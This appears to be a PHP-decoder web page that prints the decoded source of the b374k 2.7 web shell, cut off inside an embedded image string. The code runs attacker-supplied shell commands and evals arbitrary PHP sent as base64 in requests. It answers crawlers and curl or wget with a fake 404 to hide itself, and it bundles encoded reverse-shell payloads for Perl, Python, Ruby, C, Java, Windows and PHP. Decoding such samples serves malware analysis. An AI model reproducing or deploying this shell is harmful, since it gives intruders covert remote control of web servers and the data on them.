Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
/* b374k 2.7 Jayalah Indonesiaku (c)2013 http://code.google.com/p/b374k-shell ..
Decoded Output download
b'<?php
$s_ver = "2.7"; $s_title = "b374k ".$s_ver; $s_login_time = 3600 * 24 * 7; $s_debug = false; @ob_start(); @set_time_limit(0); @ini_set(\'html_errors\',\'0\'); @clearstatcache(); define(\'DS\', DIRECTORY_SEPARATOR); $_POST = clean($_POST); $_GET = clean($_GET); $_COOKIE = clean($_COOKIE); $_GP = array_merge($_POST, $_GET); if($s_debug){ error_reporting(E_ERROR | E_WARNING | E_PARSE | E_NOTICE); @ini_set(\'display_errors\',\'1\'); @ini_set(\'log_errors\',\'1\'); foreach($_GP as $k=>$v) echo "<span>".hss($k."=>".$v)."</span><br />"; } else{ error_reporting(0); @ini_set(\'display_errors\',\'0\'); @ini_set(\'log_errors\',\'0\'); } $s_auth = false; if(strlen(trim($s_pass))>0){ if(isset($_COOKIE[\'b374k\'])){ if(strtolower(trim($s_pass)) == strtolower(trim($_COOKIE[\'b374k\']))) $s_auth = true; } if(isset($_GP[\'login\'])){ $s_login = strtolower(md5(trim($_GP[\'login\']))); if(strtolower(trim($s_pass)) == $s_login){ setcookie("b374k",$s_login,time() + $s_login_time); $s_auth = true; } } if(isset($_GP[\'x\']) && ($_GP[\'x\']==\'logout\')){ $persist = array("theme", "cwd"); $s_reload = (isset($_COOKIE[\'b374k_included\']) && isset($_COOKIE[\'s_home\']))? rtrim(urldecode($_COOKIE[\'s_self\']),"&"):""; foreach($_COOKIE as $s_k=>$s_v){ if(!in_array($s_k, $persist)) if(!is_array($s_k)) setcookie($s_k,"",time() - $s_login_time); } $s_auth = false; if(!empty($s_reload)) header("Location: ".$s_reload); } } else $s_auth = true; if(!empty($_GP[\'s_pass\'])){ if(strtolower(trim($s_pass)) == strtolower(trim($_GP[\'s_pass\']))){ if(isset($_GP[\'cmd\'])) echo exe(base64_decode($_GP[\'cmd\'])); elseif(isset($_GP[\'eval\'])){ $s_code = base64_decode($_GP[\'eval\']); ob_start(); eval($s_code); $s_res = ob_get_contents(); ob_end_clean(); echo $s_res; } else echo $s_title; } die(); } if(isset($_SERVER[\'HTTP_USER_AGENT\']) && (preg_match(\'/bot|spider|crawler|slurp|teoma|archive|track|snoopy|java|lwp|wget|curl|client|python|libwww/i\', $_SERVER[\'HTTP_USER_AGENT\']))){ header("HTTP/1.0 404 Not Found"); header("Status: 404 Not Found"); die(); } elseif(!isset($_SERVER[\'HTTP_USER_AGENT\'])){ header("HTTP/1.0 404 Not Found"); header("Status: 404 Not Found"); die(); } $s_rs_pl ="lZLxj5MwGIZ/Xv+KyvU2SLhj80xMVllcGJrlvLHQncY4JQw+BzlGCe3pzG7+7bbIOaIxUX7q9/bL8zZPOHvi3Iva2eSlA+UXXEFdoDOcSVmJseMkPIXLLefbAi4TvnMqZ3P1/NndhcigKBx0LwDPg/GY8eQOJEWEC5d8CtRBZK4B+4rXEq/88MbdS6h3dMlG7mBNlu9m68mAtvcqpE2/yPBFblCUfzY16PvO+arS3Do0tHMvuGFL3zvHzrVBj4hIdwuyqrnkm29lvANzIJNqYFEkmteYzO4vX0Xzhb+y+yzwriO2Cv3pjU2k9fCQ5mBaTdXLafj6reuOrAPqkcolevww/EhRT4DUKF5pFgveRJqiaCyIQv+W+dPZLLRHitJTr0/Vjt6O07SO8tIklT1f6I1ounhvnRp7RS4klGr7qhPGSQKqxrOZ1RQrnGcbjWvcuMZjnPCyhERCui4Ne6j3eAUlZqvZfGEbL/qeQR+D4HZlG5Nu4odhm6Ae7CHByumpPim4ANOz6M8D+3XQ7M6guJ1JMa0Gl0s8pAgdERTiZPTpn0ZJ1k6jZsrdvAQZxZIrX1lHB4nd31ySvHPdmlAOSdyJG23s37SZrbZJnxkWfUxab92oFaejv5v7L2GNJjhobab6e45IfT8A"; $s_rs_py = "lVRtT9swEP6c/IpgpmGrwaGFaVJZKiEIE9qAqu20D8Cq1LkmEalt2S6Ufz87SV9ATGiqWveee3vOd+f9vWipVTQreQT8KZAvphDc3w8KY6TuRxETGdBciLwCysQiktHs+OvJ46EuoKoiv1xIoUygINTLmVSCgdah0KF+sV/BHsGEplyAL2OE/ML9ZDAPamfMSN/3nE+89aVDIYFjFtYm8UQtbWSTiaV5ZXQ1TBwMSr0Hl/wtSnxPgVkqHjiUNhGpgjTDpLOGbLQdaCENJn5NN2WmFLzhW84DoSlPF7AXI26Qhbx5zOi8rIAL6+F5Vm/LN7DACFb19UyS0XW8MqAWp8NxNz74NPx9MTg4bbUWOq0boIvgsAy+fUYdbRSekw4KBrtCbyvZPFBpcNmfC5s6cDflJM+ol/r0lGWlgD3h7lHvxPHyYMVAmkYrU61rrI3iucpsCViRwVEDeLNYAdWQKlZgxLL7AN/9udcPHYJCFc6rNNfO4Or7ze0oOT8bJ6Rxs4FmbYT2umRqClrqrFR4RnMllhJ3CVnbuAtjxRtlq7ONAZ7hdT9aeEvaOrvRqOdJkZ2kSxOkPKsrsv9dTW0oJ/mbIEE7FpeplZpur3P1NzOD7jnqWJI5GPbsxgMNkJ/Htsk0VfmT395cTuK450Y6zu+6Dz5UO/jxFvcKe/ac3uaHVWlsuXY/Sm6wJL6Om7WhzYFb6exyenWTTNqdouPb8x/T8WSUnF1bF1uYcQohN/bj259TZ7TrMh0lv8bJ2cXFKLQZ35DW1E5ghjE6ovUHhdLdtqZVaUeZ4y+vPFw5btAC2znBOTCDcdF4bIfMLT7VFYB03pumvbdBnm6ag+rHpXkfgn7QxobMNsA1bdP3D8xRZ3dg2vXVxG/9HXP7xKQktg1kji7+F/HuR8TZ/xH/wPxd4oz4fwE="; $s_rs_rb = "tVZrb9s2FP1M/QqWySprcaSm6zDMmWL0sQ4FVtRI0w1DlRU2dW0RkUmNpOoUSfbbx5ccu7aTDNhoGJTuPbxP3mPvPcpaJbMJ4xnwz1i2ky/RHq60btQgy6goIZ0JMashpWKeNdnkux+eXRyqCuo6iyT81TIJOFaCXoCObwXNWFd8PIc4ikqYYtXSCxUhCbqVHJ9+ePHHp9Gvz89evzt9m5ZiwelYQTofa1r14rlaMH5tv3PGZ4s4GWrZwmA6rhVEwEtvUcK4tk56SsvEWM7NHiE2xa+ZiRUumdJqGJRGOwrxpBwWTpp2BlItPpnQrGF73EWKdQUcy1ymM9VOelmRZX1SFCTBDhbSkD4ac+j56S+/pTXwma7y/CjCZlnRxyfn+d/Znx+fHP54fnXU//5mPxs2+RuuYQayFxDJwASr3RmVn70cvQf5GaSLk5B+kzgNzVU6phQaD6RpIxnXmLhuYNcNPMBUcA5UQ1lw4nATmDHunuwygXKhQy/wyprm1FaBrQnhEihWzs+0R+CyEVLjs59P3+aXGuT8ePT+KI+L/dHvr4qT+DjojfDY3SVV4UOGi5+Kx9+UuDhx21O/k/7UfpKlN7CNXXXdpbfsMUlJckBOyBpqUZlO49rEPgO9npBdcswUYJBSyBdS2ORr24ySQSGH+9kGPlSnTmkl5k2eE7IBCTBrh5Y4/TZjWyF21Xkd7o5BZqwfx4k3vPNEd3VLMz9UC/ll2KuTnWjvY1mge5CvmDTejeW7gPYy79I9rCNLS7UKZSoWgzvLtC1pX6cHJ3Qf/D9NC3aaevMubUQDvFf3iSTJ1TUT1515JizblAfEzOXBhq+b7c62hP21bPW9e5agaHt77w35LekFuGrlbQYqpbVYyUjlnNVRZ8v3cI3YnjqC3EFsxtEmtR0baZW7t6Nzw7G2gCEgT7ie8dyPh2e8vavqxrEeUg/gOOQJDqE1akMITQ1fOkZD1t3/TWSoy2wZ9OaFMsqOsJQnLCNB95CUix9tYSYU5KtU5GRoN/Gg7tAWmkHd4VVGCcI18vAi1zu37kzY1eUrJtgdRTfIm27XNf/GOQTktulUD5zONadh91v4M7B14FCYNhulnzPz5CYMhfHyk+fAVvIP"; $s_rs_js = "nVHLasMwEDwrkH8wvliGVIImUEjIqZ/QY/rAkTeWqCy5kpwUQv69kuykebSl2Afh3Zmd3Z2lNOHONXZOKdMlkErrSgJhuqYNXU8fZu93loOUdDzaFiaxTbFTyTIx8NEKAzhjXMjyrTGagbVZTiJh0ZEVuHOqD7O8h6wzUNTnaJc5EZhWVku4aNWlIqVXCZN5SkbXQlHLM4+IDe6nIY0s3EabmtSFYxzT151niTz/rmN1SeATQl3SSRam2nrkKBHCTjT8EQmqcny5nOb78QgFPvdkvxhhfnoHT2C2YPCmVcwJrbCNPGTJzggHOI2G9u3nYUcFzEH5rNKwVNJ/3WpeOJqJI/0ct5xYVwpFDNi2BpxfQ7p1xHdPy8IV6eQ4TYJDnO+P08RocbhVBmMGlv9Vdhz6php1LydSWAcqOr26fwnJw3gE0kJy7f/s5L+98P+xczRY36tM4kVX0yj330Og3y6AfrAeDfQcDTQbDXP58AU="; $s_rs_c = "rVJhb9owEP0Mv8JjU+tQFxPaaVJpKqFCJbQVEGSapg1FwTHEqrGj2EzQqf99thMYYdqkSf0Q5e7d8zv73uEmSLXO1A3GRCa0tZJyxWmLyDXO8OLqw/XTpUop5xg0cf0tE4RvEgpulU6YbKV3FShnYnWKJZwtTrCdwnqXUfUnrCR5orqKC6qZ+TATVXwjmFG3GBMarGMmoA3ifEUQSeMcNE3449vc+1mv2YJCBMnA79Zr5qIbYgDTLE6SPGICMAOzJbSHg6Bjj9RYSzERLeM147ug9xANR4Owe8Azmesg1VIoGGvJoOvlzz3vN8Vqt5T7OSaHw1Gv359GvdFXR1NB8V5YqqPZ+P5jNAung94jahcUqi1HZhoqU/4UWYpjRtPB59nA6qEziRR7pnIJZdl/Cd8oj26ZhoXMgonECMCTl4Omd8ZQe+sXLG4GSoXhvXcpCWJCqOvcPlzH6BDUcHsB3F6AG0CkEJRomnwXDdS5LrnJJusYbiXxj5NOIbkzTdewQbd2pCAcTB+Drab5ujuZ+cH5u8mX/t15t6wayISUAGxehFUKLlmjuCuXikJi45d6jXJFwcHOq9e30y6kiwpiZ15M+Znmco8gM2tuprknXPgXx8he+587MJxMpuNwHIX3k72vsBz2X90sN+Gk5nnebft4I5yT6j+cVNXEP05e30lVOPlS/wU="; $s_rs_java = "lVRNb9swDD2nQP+DkJM9ZHaTDdjWIsOwYYcBA1osvXXBoMiMrdWWBIn5Qpr/PkqWXXftpQfbEvlEPj5SznNWIRp3medCF5CVWpc1ZEI3uclX7z68v3/rKqjr/PxMNkZbZH/5lmdSZ2+unpoUYLCdn5nNqpaCiZo7x0KMP9Ydz89GxsotR2AOORJgLRWvI8wggz2CKhy7rSzwwuP7Az+U2eACyd4w6a6GrusNPvr0BgMDcrccDCZPz06eHUiPWEmXSTenyGFJxrmPdGpDfbnegrWygEHcrZYFsxuVpIHnCO2hXYxWB4S7JVuxOVOwY2H7cfpptrxq/VIhE+SkPL7MZJVGx66SNSTi8/wiZTHWiFhkOysRktXkYiI6aLCv642rkt70YsxT+LRvwVFUyfe9AINSKwbpETJSUZEWXNzfWi6AwgWwf7XVx3pjx0LZDZcqIf2kKqlQbkvXiuAr8+MQcrd+JpqCeI3zlVS5q8bBJdfJ4uAQmqwEvLHagMVDMtYuU7yBcZqh/ql3YL9xR4QyqQrYX6+T8U6qcerlOcao9Bm3fGO2nbeGgWNhaNklE1opEAjFb9VmH/Rn5wl8pb2LMi60uAdkVexdu42+vsNE39ec1aBKrObzaRyBUbgKc5pVhBJsZrh1QJuAvrtYdj1ZgKV5iqlcl2pgTHygDu25uIwL37Wu2W0/oXbA/iczey2ZVjhpCBtc0+Ug8UAEaSZswOv0shTs4YG9zGd4C0vpy668+gNzP8pPLmipe+zQ3oPJ392QzkQjJcD/Uujgr41C2YA/Hpc0UbAHkdDwpPFfQWrR5E5jwaSzeUZt4ol0CTx69ogu/V/FPGfYw6cZXR/r22dm/fJRxvB6xe2k5/QP"; $s_rs_win = "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"; $s_rs_php = "7VVNb+M2ED3bgP+DlhUQCVUsyy6wQFxmL+2xwKIt0MMmFWSKsghLIsuhai+a/PcORcnWOk6yaLe9tDBikzOcx/l4fPn2nSrVbPqVVxqj4CaOmcz5fCvltuJzJutYxZvV229211DyqopnU6611KnmSmojmm2wCNezKXCTGlHztBK1MM4mN6moVSWYMGlRtVAG1jqb+ibTW26oD6kGt14frUD5QVWYQkA8EvVGG+czoMlq9dYu9xlt2qqyS35aQkkJBmNa3s/f//gDPRiu6/X7nxJ6dee//+W726t170bbOt6IJobSuxbEBteUdGV6XZnejcdk03BmeH7XkC5tUQRMto0JhkxDSpPwj9l04ivqH+uY+JgG6RYGMUWT280j9q0CfgljeYYBHxb3Pc7RktwfATO26wG7lIq2YUbIJuUHAQaCK8UaU6WF1LursEcWOT1ZuyFMMLKz0+skxEgTJGOzMy0Gk5IgDimOGEQehGcxQyKYXF+uuxUoGM2zOgXJdsgO4Pp3rgNimEKSLebd54bMfRX5SKlGdj8Y0906xPa0ki22DKKVS8lnZ9gZY1zZE0PG6Dayknu8ENoN7gIkedo2Wc2DMFpEqxDLIHvRuGQnxV4LwwOfRX49x46zPRY6J7ekA5zsS1GhV72htMhwjC7Izqyw48E4d65rlubbtM4MKwMSs/zOCz78egf3X4exQD5jsVqHffzEz3OK+368Ll5AmgsdoCsMWTkse78v6Tg7Z33svnt6GS3qcfm+6kq18yLew4P3jP+3Fv2ht8Gu7tZHPA/v4wdbOV6H72D+9PJR56TLskunYJUEfmzMsHUDsics/JPWu8N+DjTTOvsYLOitWxAlFCcR0SSMknPjHo3LC8YeTWmqtGSpVLzBDMoI8XEQQjk/9uwN9lxzkK1mtlacz+hJjKm4qZBvVvNsOD7TaPHKkeT1I8uXj7DB6zhodDuwzz5+Lgvb44cHt3JXhuFojL7O+mbaDvc59Rf3rDreW6HeBRgQocDia8wiq6wnZosmPSHp7MRiQQtEyDs7g4Grw2D7VvkiHNP1E7whrYugg/MpMnsVdPkS6PKzQB/P+Dti9rB0FX66T872Q7c7Kg52PTyH078HJ6NW5AcZLazIOfKWnYDwBv+OYvg31A7+otrBf17t4LLavSBv8L+8XToCr8sbfKa8wReTN3hGNODflTf4J+TtHPQ5efsimvbu9k8="; $s_favicon = "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAKYSURBVDjLnZPJT1NRFMb5G1wDHV5boNiqdHrvFYolCAtsGSSWKpMFKhYqlDI6oAEKaVJwCIgSphaKtLYWCgSNBgRjMNHoxsSFS3cmJmA0NMTw+R6JKKZl4eJL7sm953fOd3JPHIC4WMpcppG5SGnZc8ZjVVF6QLn975sDgfaZmvg71oRJZIRUYcuAnq/2KWroGfm3QwEn2YpLVPPvOD2oiqj9yq/mGznegl56mx6T7ZbY1M6YAM0CuZkxT0b2Wg6QW/SsApRXDsotR+d6E9Y/h9DuqoCuJq0lKoDxqU1/pITGR27mBU4h+GEcTz5OY+ClA5JbyahYzof/9TBO9B/FcWcqpA4xU3We3GJ87ntnfO5meinMvruNnqcmXA2XoDVcCc0wCYkzBaZpA7ILRJ/2O2B87jA+QT9UeDRe8svZYAG8b/txc6kc9mA+yqayYPQXwvdmBEOrA5B2p0BtFIYOWKCm5RukWwZyXIbA+0F0LpaiKaBHmVsLw4we99ccsM8a8GClF5JOMcQdou8prULrgRmQo7KI0VcE13MrGv06lE5kodhzGvdWu2GdKkTVWC4DcELcJkKyXbCb1EhAVM//M0DVUNqP2qAJd1baUDaZjTMTeXAttsPi0cM0mgvHvA0NkxYk2QRIrieOsDmEmXttH0DfVfSluSToWmpD8bgOroUOWNw6VI7koGfOBuq6EqLLTNU6ojrmP5D1HVsjmrkYezGIrlA9LjKgnrlGXJlpgbCOD0EtD0QNN8I3cZqjAlhJr4rXpB1iNLhrYffUQWoT7yUKzbxqJlHLq0jc5JYmgHMunogKYJVqF7mTrPyfgktMRTMX/CrOq1gLF3fYNrLiX+Bs8MoTwT2fQPwXgBXHGL+TaIjfinb3C7cscRMIcYL6AAAAAElFTkSuQmCC"; $s_arrow = "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAACXBIWXMAAAsSAAALEgHS3X78AAAEYElEQVRYw8VXS0xcVRj+z7kv5tF5MPfOo1AgkFBKoQPuFAyxstKkcWHjGhOjcacxujMxaqtx48b4iDExxiZuXBVdtEURN00qDBMgTUOmnTEMc+/ce4d5c+k957gZEKYCd5DSb3tOzv+d//0hcACO47hgsL07HA5fDIfDkz6ffxQAogDgblypMcZypVIpYRj6DVVVZ0zTSBNCyGFvo4MOMca8LMsjvb19r8uy8iLGOAIA+JA3KaVU1XV9OpVa/VrX9QSl1G6ZgM/ni5w7N/iuooSnMMZBOAIopQVN0767e3fls1KppDoigBCCrq6ukf7+gS9cLtfTh3nJAVi9Xr+dTCbf1LTcAmNsb3ibjXd394wPDQ1fE0UxfgzGAQCQIAid0Whs8uHDrflisZjZl8Dp052jw8PxazzP9cExA2PcHgopE7Va7Y9yuZR7hIDP54uMjj71gySJF+AxAWPcHgwGh3U9f92yrOoOAYwxF4+PvB8IBF9u0e02AFAHlbEDQRA63W43zWbXf2eMMQwA0NHROaoo4VdbeYgxZmUy6SuZTPojxthmK46QZeU1WQ5d2O4x3MDA4Ader3esFePp9IMrS0tLn2iaNieKIvH7A88ghHhHWYmQWxQltL6e/ZULheTe/v7+qwjhU60YX15e/pQQ22KMEsMwbrdKwuVyxQoF82eup6fvcigUesVJ7Bljm+n0g6vbxnc1HKLrrZFACHksy1rhBgfPv9fW1jbk8OePGP/3fIeE7fcHxhyQQBijOhePj3wIAHIrbt//Xmue4HmB586eHfgYAKSj/vz/eAJjLPAA4DlonhSLpe9VVfsxGAyGd8d8Y6OgUkrJdh8JBIIRjPFOY1NV7adAINgRCATeOKC8vejSpZfs5pa8+0MAUGSM7RmnlmXlZ2d/m7AsKw8AIEmSMjHx3KwkSUpTovEA4D8gwQkPAJXGpf2mZQAh1JzBpOlXGCHUjhCSW+zOFWzbdg6eEGzbXseVSnnxSRGoVMqLWNfNm42BctIghmHcxJqWu0UpOfEwUErVfF6bwYWCmdZ1Y/qkCei6Pm0YRhoTQkgqtfoVpdR0vGMhwKIoKZIkRSRJioiipCDkfJRTSo1UavVLQgjhG2wW83nt20gk+o6TnUAQxNDY2PgMY4w2yhILghByat80jW8Mw0jubESMMVaplJORSHRcEIQzDiYZ4jjOw/O8l+d5L8dxHtTcLPbB5mb9z0Ri4a16vV7ZsxNallWtVqt/xWKxixjj0GNJe0LuLSzMTxmGfv8/t+JarapubW3Ny7Ly7HGTsG373srK8lQ2u3Zn37UcAKBYLP5tWZtzPp9vUBDEM8egDWi1Wp1bXExMZbNrdw4UJrtIqLmcel